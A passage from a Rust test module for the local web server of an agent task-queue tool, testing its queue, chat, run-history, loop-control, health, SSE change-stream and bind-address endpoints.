3562            r#"{"text":"whatever you think"}"#,
3563            r#"{"choice":"Redis","text":"both"}"#,
3564            r#"{}"#,
3565        ] {
3566            let res = fx.post(&path, Some(body)).await;
3567            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
3568            assert!(res.json()["error"].is_string(), "{}", res.body);
3569        }
3570        // Nothing above may have answered it.
3571        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3572    }
3573
3574    #[tokio::test]
3575    async fn a_free_text_question_takes_text_and_not_a_choice() {
3576        let fx = Fixture::start().await;
3577        let id = ask(&fx, "What should the flag be called?", &[]);
3578        let path = format!("/api/questions/{id}/answer");
3579
3580        assert_eq!(
3581            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
3582            400
3583        );
3584        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
3585        assert_eq!(res.status, 200, "{}", res.body);
3586        assert_eq!(res.json()["answer"]["text"], "--json");
3587    }
3588
3589    #[tokio::test]
3590    async fn an_unknown_question_is_a_json_404() {
3591        let fx = Fixture::start().await;
3592        let res = fx
3593            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
3594            .await;
3595        assert_eq!(res.status, 404, "{}", res.body);
3596        assert!(res.json()["error"].is_string());
3597    }
3598
3599    #[tokio::test]
3600    async fn a_blank_instruction_is_rejected_and_files_nothing() {
3601        let f = Fixture::start().await;
3602
3603        let res = f
3604            .post("/api/queue", Some(r#"{"instruction":"   \n  "}"#))
3605            .await;
3606
3607        assert_eq!(res.status, 400);
3608        assert!(
3609            res.json()["error"].as_str().is_some_and(|e| !e.is_empty()),
3610            "a rejection has to say why: {}",
3611            res.body
3612        );
3613        assert!(
3614            f.queue().list().is_empty(),
3615            "a rejected task must not reach the disk"
3616        );
3617    }
3618
3619    #[tokio::test]
3620    async fn a_malformed_body_is_a_bad_request_not_an_unprocessable_entity() {
3621        let f = Fixture::start().await;
3622
3623        let res = f.post("/api/queue", Some("{not json")).await;
3624
3625        // The UI branches on 400; axum's default for a bad body is 422, which
3626        // it would report as an unknown failure.
3627        assert_eq!(res.status, 400);
3628    }
3629
3630    #[tokio::test]
3631    async fn a_posted_task_is_queued_with_a_title_taken_from_its_instruction() {
3632        let f = Fixture::start().await;
3633
3634        let created = f
3635            .post(
3636                "/api/queue",
3637                Some(
3638                    r##"{"instruction":"# Rework the config loader\n\nIt re-reads the file on every lookup"}"##,
3639                ),
3640            )
3641            .await;
3642        assert_eq!(created.status, 201);
3643
3644        let listed = f.get("/api/queue").await;
3645        let tasks = listed.json();
3646        let task = &tasks[0];
3647
3648        assert_eq!(tasks.as_array().map(Vec::len), Some(1));
3649        // The title the server derives is the summary the author already
3650        // wrote, without its marker.
3651        assert_eq!(task["title"], "Rework the config loader");
3652        assert_eq!(task["source_label"], "human");
3653        assert_eq!(task["status_str"], "queued");
3654        assert_eq!(task["repo"], "/repo/magi", "the server's default repo");
3655        assert_eq!(
3656            task["id"],
3657            created.json()["id"],
3658            "the posted task is the listed one"
3659        );
3660        assert!(
3661            task["instruction"]
3662                .as_str()
3663                .is_some_and(|i| i.starts_with("# Rework the config loader\n\nIt re-reads")),
3664            "the instruction reaches the graph verbatim, markers and all: {}",
3665            task["instruction"]
3666        );
3667    }
3668
3669    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
3670    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
3671        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
3672            .expect("checkout dir");
3673    }
3674
3675    #[tokio::test]
3676    async fn repos_list_returns_name_and_path_for_every_configured_root() {
3677        let tmp = TempDir::new().expect("tempdir");
3678        let repo = tmp.path().join("repo");
3679        std::fs::create_dir_all(&repo).expect("repo dir");
3680        let root = tmp.path().join("root");
3681        make_checkout(&root, "github.com", "yukimemi", "magi");
3682        std::fs::write(
3683            repo.join("magi.toml"),
3684            format!(
3685                "[repos]\nroots = [{:?}]\n",
3686                root.to_string_lossy().into_owned()
3687            ),
3688        )
3689        .expect("write magi.toml");
3690
3691        let f = Fixture::with_repo(repo).await;
3692        let res = f.get("/api/repos").await;
3693        assert_eq!(res.status, 200, "{}", res.body);
3694        let list = res.json();
3695        let repos = list.as_array().expect("an array");
3696        assert_eq!(repos.len(), 1);
3697        assert_eq!(repos[0]["name"], "yukimemi/magi");
3698        assert!(
3699            repos[0]["path"]
3700                .as_str()
3701                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
3702            "{list}"
3703        );
3704    }
3705
3706    #[tokio::test]
3707    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
3708        let tmp = TempDir::new().expect("tempdir");
3709        let repo = tmp.path().join("repo");
3710        std::fs::create_dir_all(&repo).expect("repo dir");
3711        let root = tmp.path().join("root");
3712        make_checkout(&root, "github.com", "yukimemi", "magi");
3713        std::fs::write(
3714            repo.join("magi.toml"),
3715            format!(
3716                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
3717                root.to_string_lossy().into_owned()
3718            ),
3719        )
3720        .expect("write magi.toml");
3721
3722        let f = Fixture::with_repo(repo).await;
3723        let first = f.get("/api/repos").await;
3724        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
3725
3726        // A second checkout appears; within the TTL the cached answer must
3727        // not notice it.
3728        make_checkout(&root, "github.com", "yukimemi", "rvpm");
3729        let second = f.get("/api/repos").await;
3730        assert_eq!(
3731            second.json().as_array().map(Vec::len),
3732            Some(1),
3733            "a fresh cache must not rescan inside the TTL"
3734        );
3735
3736        let refreshed = f.get("/api/repos?refresh=1").await;
3737        assert_eq!(
3738            refreshed.json().as_array().map(Vec::len),
3739            Some(2),
3740            "an explicit refresh must rescan even inside the TTL"
3741        );
3742    }
3743
3744    #[tokio::test]
3745    async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
3746        let f = Fixture::start().await;
3747        let res = f
3748            .post(
3749                "/api/chats",
3750                Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
3751            )
3752            .await;
3753        assert!(res.status >= 400 && res.status < 500, "{}", res.status);
3754        assert!(
3755            res.json()["error"]
3756                .as_str()
3757                .is_some_and(|e| e.contains("nosuchchat")),
3758            "the error names the id that does not exist: {}",
3759            res.body
3760        );
3761        assert!(
3762            f.chats().list().is_empty(),
3763            "a chat must not be created against an unresolvable `from`"
3764        );
3765    }
3766
3767    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
3768    /// string, declared straight in a repository's own `magi.toml` rather
3769    /// than the operator's real roster. No real agent CLI is spawned - `sh`
3770    /// is the interpreter, the same as `chat::tests::mock_agent` uses - so
3771    /// this is safe to run over a real HTTP round trip, unlike every other
3772    /// `POST /api/chats` test in this module.
3773    ///
3774    /// `[roles] planner` is pinned here too, and not left to the built-in
3775    /// "first runnable agent" fallback: an operator's own machine layer can
3776    /// (and, on at least one real machine this was written and tested on,
3777    /// does) already pin a `planner` naming a roster seat this file does not
3778    /// have. `roles.planner` is a scalar, so restating it in this
3779    /// higher-precedence repo layer is not the array conflict
3780    /// `config::array_keys` refuses - it is exactly the override the layering
3781    /// exists for, and it is what keeps this test's outcome independent of
3782    /// whatever the machine layer happens to say.
3783    const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
3784
3785    #[tokio::test]
3786    async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
3787        let tmp = TempDir::new().expect("tempdir");
3788        let repo = tmp.path().join("repo");
3789        let other = tmp.path().join("other");
3790        std::fs::create_dir_all(&repo).expect("repo dir");
3791        std::fs::create_dir_all(&other).expect("other repo dir");
3792        // Both need their own roster: `chat_post` re-discovers config against
3793        // whichever repo the request names, and a repo with no `magi.toml` of
3794        // its own would fall back to the operator's real, installed agent CLIs.
3795        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3796        std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3797
3798        let f = Fixture::with_repo(repo.clone()).await;
3799
3800        let default_res = f
3801            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
3802            .await;
3803        assert_eq!(default_res.status, 201, "{}", default_res.body);
3804        assert_eq!(
3805            default_res.json()["repo"],
3806            repo.canonicalize().unwrap().display().to_string(),
3807            "omitting `repo` must keep the server's own"
3808        );
3809
3810        let body = format!(
3811            r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
3812            other.to_string_lossy()
3813        );
3814        let explicit_res = f.post("/api/chats", Some(&body)).await;
3815        assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
3816        assert_eq!(
3817            explicit_res.json()["repo"],
3818            other.canonicalize().unwrap().display().to_string(),
3819            "an explicit `repo` must override the server's own"
3820        );
3821    }
3822
3823    #[tokio::test]
3824    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
3825        let f = Fixture::start().await;
3826        let queue = f.queue();
3827        let mut task = Task::new(
3828            "spent".to_owned(),
3829            "Try again".to_owned(),
3830            PathBuf::from("/repo/magi"),
3831            Source::Human,
3832        );
3833        task.start("20260902-140502-bbbb".to_owned());
3834        task.fail("agent gave up", 9);
3835        queue.put(&mut task).expect("file the task");
3836
3837        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
3838        assert_eq!(held.status, 200);
3839        assert_eq!(held.json()["status_str"], "held");
3840
3841        let released = f
3842            .post(&format!("/api/queue/{}/release", task.id), None)
3843            .await;
3844        assert_eq!(released.status, 200);
3845        assert_eq!(released.json()["status_str"], "queued");
3846        assert_eq!(
3847            released.json()["attempts"],
3848            0,
3849            "release is a real second chance, not an instant re-hold"
3850        );
3851        assert_eq!(
3852            queue.get(&task.id).expect("reload").status,
3853            TaskStatus::Queued,
3854            "the change is on disk, not only in the reply"
3855        );
3856        assert!(
3857            !f.home
3858                .path()
3859                .join("queue")
3860                .join(format!("{}.lock", task.id))
3861                .exists(),
3862            "the claim the mutation took is released again"
3863        );
3864    }
3865
3866    #[tokio::test]
3867    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
3868        let f = Fixture::start().await;
3869        let queue = f.queue();
3870        let mut task = Task::new(
3871            "busy".to_owned(),
3872            "Running right now".to_owned(),
3873            PathBuf::from("/repo/magi"),
3874            Source::Human,
3875        );
3876        queue.put(&mut task).expect("file the task");
3877        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
3878
3879        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
3880
3881        assert_eq!(res.status, 409);
3882        assert_eq!(
3883            queue.get(&task.id).expect("reload").status,
3884            TaskStatus::Queued,
3885            "the refused hold changed nothing"
3886        );
3887    }
3888
3889    #[tokio::test]
3890    async fn unknown_ids_are_json_not_found_on_both_stores() {
3891        let f = Fixture::start().await;
3892
3893        let run = f.get("/api/runs/nosuchrun").await;
3894        let task = f.post("/api/queue/nosuchtask/hold", None).await;
3895
3896        assert_eq!(run.status, 404);
3897        assert_eq!(task.status, 404);
3898        assert!(
3899            run.json()["error"]
3900                .as_str()
3901                .is_some_and(|e| e.contains("run")),
3902            "the error names what was not found: {}",
3903            run.body
3904        );
3905        assert!(
3906            task.json()["error"]
3907                .as_str()
3908                .is_some_and(|e| e.contains("task")),
3909            "the error names what was not found: {}",
3910            task.body
3911        );
3912    }
3913
3914    #[tokio::test]
3915    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
3916        let f = Fixture::start().await;
3917
3918        let missing = f.get("/api/health").await.json();
3919        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
3920
3921        write_daemon(
3922            f.home.path(),
3923            Timestamp::now() - jiff::SignedDuration::from_secs(60),
3924        );
3925        let stale = f.get("/api/health").await.json();
3926        assert_eq!(
3927            stale["daemon"]["running"], false,
3928            "a minute without a heartbeat is a dead daemon, not a busy one"
3929        );
3930        assert!(
3931            stale["daemon"]["stale_for_secs"]
3932                .as_i64()
3933                .is_some_and(|s| s >= 55),
3934            "staleness is reported so the UI can say how long: {stale}"
3935        );
3936
3937        write_daemon(f.home.path(), Timestamp::now());
3938        let fresh = f.get("/api/health").await.json();
3939        assert_eq!(fresh["daemon"]["running"], true);
3940        assert_eq!(fresh["daemon"]["idle"], false);
3941        assert_eq!(fresh["daemon"]["pid"], 4242);
3942        assert_eq!(fresh["daemon"]["completed"], 7);
3943        assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
3944        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
3945    }
3946
3947    #[tokio::test]
3948    async fn the_loop_is_not_running_until_something_starts_it() {
3949        let f = Fixture::start().await;
3950
3951        let view = f.get("/api/loop").await.json();
3952        assert_eq!(view["running"], false);
3953        assert_eq!(
3954            view["owned"], false,
3955            "nobody owns a loop that does not exist: {view}"
3956        );
3957        assert_eq!(view["stopping"], false);
3958        assert_eq!(view["last_error"], Value::Null);
3959        assert_eq!(view["daemon"]["running"], false);
3960        assert_eq!(
3961            view["repo"], "/repo/magi",
3962            "the repository a start would use, named before it is started"
3963        );
3964    }
3965
3966    #[tokio::test]
3967    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
3968        let f = Fixture::start().await;
3969
3970        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3971        assert_eq!(res.status, 200, "{}", res.body);
3972        let view = res.json();
3973        assert_eq!(view["running"], true);
3974        assert_eq!(
3975            view["owned"], true,
3976            "the loop the UI started is the UI's own to stop: {view}"
3977        );
3978        assert_eq!(
3979            view["merge"],
3980            Value::Null,
3981            "no override was given, so each repository's own config decides"
3982        );
3983
3984        // The same object from the route a waking phone polls first. Two
3985        // surfaces disagreeing about whether anything is running is exactly
3986        // the confusion this UI exists to remove.
3987        let health = f.get("/api/health").await.json();
3988        assert_eq!(health["loop"]["running"], true, "{health}");
3989        assert_eq!(health["loop"]["owned"], true, "{health}");
3990
3991        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
3992    }
3993
3994    #[tokio::test]
3995    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
3996        let f = Fixture::start().await;
3997        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3998        assert_eq!(first.status, 200, "{}", first.body);
3999
4000        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4001        assert_eq!(
4002            again.status, 409,
4003            "two loops on one queue race for the same claims: {}",
4004            again.body
4005        );
4006        assert!(
4007            again.json()["error"]
4008                .as_str()
4009                .is_some_and(|e| e.contains("already running the loop")),
4010            "the refusal has to say why: {}",
4011            again.body
4012        );
4013        assert_eq!(
4014            f.get("/api/loop").await.json()["running"],
4015            true,
4016            "and the loop that was already running is untouched by it"
4017        );
4018
4019        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4020    }
4021
4022    #[tokio::test]
4023    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
4024        let f = Fixture::start().await;
4025        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4026
4027        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4028        assert_eq!(
4029            res.status, 200,
4030            "the answer must not wait for the loop: a run in flight is tens of \
4031             minutes and the operator is holding a phone: {}",
4032            res.body
4033        );
4034
4035        let view = settled(&f, |v| v["running"] == false).await;
4036        assert_eq!(view["owned"], false);
4037        assert_eq!(
4038            view["stopping"], false,
4039            "a loop that has stopped is not still stopping: {view}"
4040        );
4041        assert_eq!(
4042            view["last_error"],
4043            Value::Null,
4044            "a loop that was asked to stop did not fail: {view}"
4045        );
4046
4047        // Idempotent, because the operator cannot tell a slow stop from a lost
4048        // one and will press it again.
4049        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4050        assert_eq!(twice.status, 200, "{}", twice.body);
4051    }
4052
4053    #[tokio::test]
4054    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
4055        let f = Fixture::start().await;
4056        // How the operator has been doing it: a `magi serve` of their own,
4057        // heartbeat fresh, in the same home this UI reads.
4058        write_daemon(f.home.path(), Timestamp::now());
4059
4060        let view = f.get("/api/loop").await.json();
4061        assert_eq!(view["running"], false, "not in this process: {view}");
4062        assert_eq!(view["owned"], false, "and not this process's to control");
4063        assert_eq!(
4064            view["daemon"]["running"], true,
4065            "but a loop is alive somewhere, which is what the UI must say"
4066        );
4067        assert_eq!(view["daemon"]["pid"], 4242);
4068
4069        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
4070            let res = f.post("/api/loop", Some(body)).await;
4071            assert_eq!(
4072                res.status, 409,
4073                "neither button may pretend to work on someone else's loop: {}",
4074                res.body
4075            );
4076            assert!(
4077                res.json()["error"]
4078                    .as_str()
4079                    .is_some_and(|e| e.contains("4242")),
4080                "the refusal has to name the process the operator must go to: {}",
4081                res.body
4082            );
4083        }
4084        assert_eq!(
4085            f.get("/api/loop").await.json()["running"],
4086            false,
4087            "and the refusal started nothing"
4088        );
4089    }
4090
4091    #[tokio::test]
4092    async fn a_stale_status_file_is_not_a_foreign_owner() {
4093        let f = Fixture::start().await;
4094        write_daemon(
4095            f.home.path(),
4096            Timestamp::now() - jiff::SignedDuration::from_secs(60),
4097        );
4098
4099        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4100        assert_eq!(
4101            res.status, 200,
4102            "a daemon killed a minute ago must not lock the loop out of its \
4103             own home for good: {}",
4104            res.body
4105        );
4106        assert_eq!(res.json()["running"], true);
4107
4108        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4109    }
4110
4111    #[tokio::test]
4112    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
4113        let f = Fixture::start().await;
4114        let before = f.get("/api/health").await.json()["loop_rev"]
4115            .as_u64()
4116            .expect("a loop revision");
4117
4118        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4119
4120        let after = f.get("/api/health").await.json()["loop_rev"]
4121            .as_u64()
4122            .expect("a loop revision");
4123        assert!(
4124            after > before,
4125            "the loop is in-process state, so this counter is the only thing \
4126             that tells a second device the first one started it: {before} -> \
4127             {after}"
4128        );
4129
4130        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4131    }
4132
4133    #[tokio::test]
4134    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
4135        let f = Fixture::with_loop(launch_broken).await;
4136
4137        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4138        assert_eq!(
4139            res.status, 200,
4140            "starting it is not the failure: {}",
4141            res.body
4142        );
4143
4144        let view = settled(&f, |v| v["last_error"].is_string()).await;
4145        assert_eq!(
4146            view["running"], false,
4147            "a loop that died must not read as running, or the operator has \
4148             nothing to press: {view}"
4149        );
4150        assert_eq!(view["owned"], false);
4151        assert!(
4152            view["last_error"]
4153                .as_str()
4154                .is_some_and(|e| e.contains("read-only file system")),
4155            "the phone is where a loop that died at 3am is visible: {view}"
4156        );
4157
4158        // And it can be started again: the corpse was reaped, not left to
4159        // occupy the slot.
4160        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4161        assert_eq!(again.status, 200, "{}", again.body);
4162        assert_eq!(
4163            again.json()["last_error"],
4164            Value::Null,
4165            "a fresh start does not keep showing why the last one died"
4166        );
4167    }
4168
4169    #[tokio::test]
4170    async fn a_newer_daemon_status_file_still_renders() {
4171        let f = Fixture::start().await;
4172        // A field this build has never heard of must not turn the status line
4173        // into a 500; that is the whole reason the reader is permissive.
4174        std::fs::write(
4175            f.home.path().join("daemon.json"),
4176            serde_json::json!({
4177                "schema": 2,
4178                "updated_at": Timestamp::now().to_string(),
4179                "idle": true,
4180                "surprise": { "nested": [1, 2, 3] },
4181            })
4182            .to_string(),
4183        )
4184        .expect("write daemon.json");
4185
4186        let health = f.get("/api/health").await;
4187
4188        assert_eq!(health.status, 200);
4189        assert_eq!(health.json()["daemon"]["running"], true);
4190    }
4191
4192    #[tokio::test]
4193    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
4194        let f = Fixture::start().await;
4195        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
4196        let broken = f.runs().join("20260902-140502-bad");
4197        std::fs::create_dir_all(&broken).expect("run dir");
4198        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
4199
4200        let list = f.get("/api/runs").await;
4201        let detail = f.get("/api/runs/20260902-140502-bad").await;
4202
4203        assert_eq!(list.status, 200);
4204        let listed = list.json();
4205        let ids: Vec<&str> = listed
4206            .as_array()
4207            .expect("an array")
4208            .iter()
4209            .map(|r| r["id"].as_str().expect("an id"))
4210            .collect();
4211        assert_eq!(
4212            ids,
4213            vec!["20260902-140501-good"],
4214            "one unreadable run must not cost the operator the whole history"
4215        );
4216        assert_eq!(detail.status, 500);
4217        assert!(
4218            detail.json()["error"]
4219                .as_str()
4220                .is_some_and(|e| e.contains("run.json")),
4221            "the failure names the file to look at: {}",
4222            detail.body
4223        );
4224        // A skipped run has to be countable somewhere, or the UI shows an
4225        // empty history with nothing to explain it - which is exactly what a
4226        // directory full of older-schema runs looks like.
4227        let health = f.get("/api/health").await;
4228        assert_eq!(health.json()["runs_unreadable"], 1);
4229    }
4230
4231    #[tokio::test]
4232    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
4233        let f = Fixture::start().await;
4234        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
4235
4236        let summary = f.get("/api/runs").await.json();
4237        let row = &summary[0];
4238        assert_eq!(row["short"], "a1b2");
4239        assert_eq!(row["status"], "ready");
4240        assert_eq!(row["done"], true);
4241        assert_eq!(row["title"], "Add a web UI");
4242        assert_eq!(row["repo_name"], "magi");
4243        assert_eq!(row["judges"], 3);
4244        assert_eq!(row["winner"], Value::Null);
4245        assert_eq!(row["reviews"], 0);
4246
4247        // The short id resolves, and the detail route is the state itself, not
4248        // a projection of it: the UI reads fields the summary does not carry.
4249        let detail = f.get("/api/runs/a1b2").await;
4250        assert_eq!(detail.status, 200);
4251        assert_eq!(detail.json()["base_branch"], "main");
4252        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
4253    }
4254
4255    #[tokio::test]
4256    async fn the_run_list_is_newest_first_and_honours_a_limit() {
4257        let f = Fixture::start().await;
4258        for id in [
4259            "20260902-140501-aaaa",
4260            "20260902-140502-bbbb",
4261            "20260902-140503-cccc",
4262        ] {
4263            write_run(&f.runs(), id, RunStatus::Merged);
4264        }
4265
4266        let all = f.get("/api/runs").await.json();
4267        let capped = f.get("/api/runs?limit=2").await.json();
4268
4269        assert_eq!(all[0]["id"], "20260902-140503-cccc");
4270        assert_eq!(all.as_array().map(Vec::len), Some(3));
4271        assert_eq!(capped.as_array().map(Vec::len), Some(2));
4272        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
4273    }
4274
4275    #[tokio::test]
4276    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
4277        let f = Fixture::start().await;
4278        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
4279
4280        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
4281
4282        assert_eq!(res.status, 200);
4283        assert!(
4284            res.headers
4285                .contains("content-type: text/plain; charset=utf-8"),
4286            "a browser must render it, not download it: {}",
4287            res.headers
4288        );
4289        // The assertion is on content, not on the absence of escapes: colour
4290        // is a process-global that `serve` turns off at startup, and another
4291        // test in this binary may own it while this one runs.
4292        assert!(
4293            res.body.contains("20260902-140501-a1b2"),
4294            "the report is about the run that was asked for: {}",
4295            res.body
4296        );
4297    }
4298
4299    #[tokio::test]
4300    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
4301        let f = Fixture::start().await;
4302
4303        let html = f.get("/").await;
4304        let css = f.get("/app.css").await;
4305        let js = f.get("/app.js").await;
4306
4307        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
4308        assert!(
4309            html.headers
4310                .contains("content-type: text/html; charset=utf-8")
4311        );
4312        assert!(css.headers.contains("content-type: text/css"));
4313        assert!(js.headers.contains("content-type: text/javascript"));
4314        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
4315    }
4316
4317    #[tokio::test]
4318    async fn the_change_stream_announces_the_current_revisions_on_connect() {
4319        let f = Fixture::start().await;
4320
4321        let mut socket = tokio::net::TcpStream::connect(f.addr)
4322            .await
4323            .expect("connect");
4324        socket
4325            .write_all(
4326                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
4327            )
4328            .await
4329            .expect("write request");
4330
4331        // Read until the first event arrives rather than to end of stream: the
4332        // stream is endless by design, which is the point of the route.
4333        let mut seen = String::new();
4334        let mut buf = [0u8; 1024];
4335        while !seen.contains("event: change") {
4336            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
4337                .await
4338                .expect("the stream must speak within five seconds")
4339                .expect("read");
4340            assert!(read > 0, "the server closed the change stream: {seen}");
4341            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
4342        }
4343
4344        assert!(
4345            seen.to_lowercase()
4346                .contains("content-type: text/event-stream"),
4347            "the browser only reconnects automatically for a real SSE stream: {seen}"
4348        );
4349        let data = seen
4350            .lines()
4351            .find_map(|l| l.strip_prefix("data:"))
4352            .expect("a data line");
4353        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
4354        assert!(
4355            payload["queue_rev"].is_u64()
4356                && payload["runs_rev"].is_u64()
4357                && payload["questions_rev"].is_u64()
4358                && payload["chats_rev"].is_u64()
4359                && payload["loop_rev"].is_u64(),
4360            "the client needs one revision per store to know what to refetch, \
4361             and `chats_rev` is the only notification a slow interview gets - \
4362             a phone whose radio slept through a turn learns about it here, as \
4363             does one whose operator started the loop from another device: \
4364             {payload}"
4365        );
4366
4367        // The front end re-polls health on a timer and on wake, and takes the
4368        // revisions from that answer whenever the stream is not up. So health
4369        // has to carry every key the stream carries: a phone on a link that
4370        // will not hold an SSE connection is exactly the phone that must still
4371        // notice a question, and a missing key there is not a 500 but a UI
4372        // that quietly stops updating.
4373        let health = f.get("/api/health").await.json();
4374        for key in [
4375            "queue_rev",
4376            "runs_rev",
4377            "questions_rev",
4378            "chats_rev",
4379            "loop_rev",
4380        ] {
4381            assert!(
4382                health[key].is_u64(),
4383                "health is the change stream's fallback and is missing `{key}`: {health}"
4384            );
4385        }
4386    }
4387
4388    #[test]
4389    fn bind_reads_back_from_the_spelling_the_cli_prints() {
4390        // The CLI shows the default in `--help` and parses whatever comes
4391        // back, so the two directions have to agree or `--bind auto` breaks
4392        // the moment someone copies the help text.
4393        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
4394            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
4395        }
4396        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
4397        assert!("everywhere".parse::<Bind>().is_err());
4398    }
4399
4400    #[test]
4401    fn an_explicit_bind_address_is_taken_verbatim() {
4402        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
4403
4404        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
4405
4406        assert_eq!(addr, asked);
4407        assert!(
4408            warning.is_none(),
4409            "an operator who named an address gets no lecture"
4410        );
4411    }
4412
4413    #[test]
4414    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
4415        let (addr, warning) = resolve_bind(&Bind::Auto);
4416
4417        // This has to hold on a CI runner with no `tailscale` and on a dev box
4418        // with one, so the invariant asserted is the one shared by both
4419        // outcomes: the address is either a real tailnet address offered
4420        // without comment, or loopback with an explanation. What must never
4421        // happen is a silent fallback - an operator told "listening on
4422        // 127.0.0.1" with no reason would go looking for a firewall.
4423        match addr {
4424            IpAddr::V4(ip) if is_tailnet(&ip) => {
4425                assert!(warning.is_none(), "a tailnet address needs no warning");
4426            }
4427            other => {
4428                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
4429                let warning = warning.expect("a fallback has to explain itself");
4430                assert!(
4431                    warning.contains("127.0.0.1") && warning.contains("local-only"),
4432                    "the warning says what happened and what it costs: {warning}"
4433                );
4434            }
4435        }
4436    }
4437
4438    #[test]
4439    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
4440        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
4441        // boundary cases are what stop us binding to some other tool's idea of
4442        // an address.
4443        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
4444        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
4445        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
4446        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
4447        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
4448    }
4449
4450    #[test]
4451    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
4452        let ids = vec![
4453            "20260902-140501-aaaa".to_owned(),
4454            "20260902-140502-aabb".to_owned(),
4455        ];
4456
4457        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
4458        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
4459        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
4460
4461        assert_eq!(missing.status, StatusCode::NOT_FOUND);
4462        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
4463        assert_eq!(short, "20260902-140502-aabb");
4464    }
4465    #[tokio::test]
4466    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
4467        // The prompt tells agents to reference attachments by bare filename.
4468        // A document served at `.../panel` resolves `shot.png` against its own
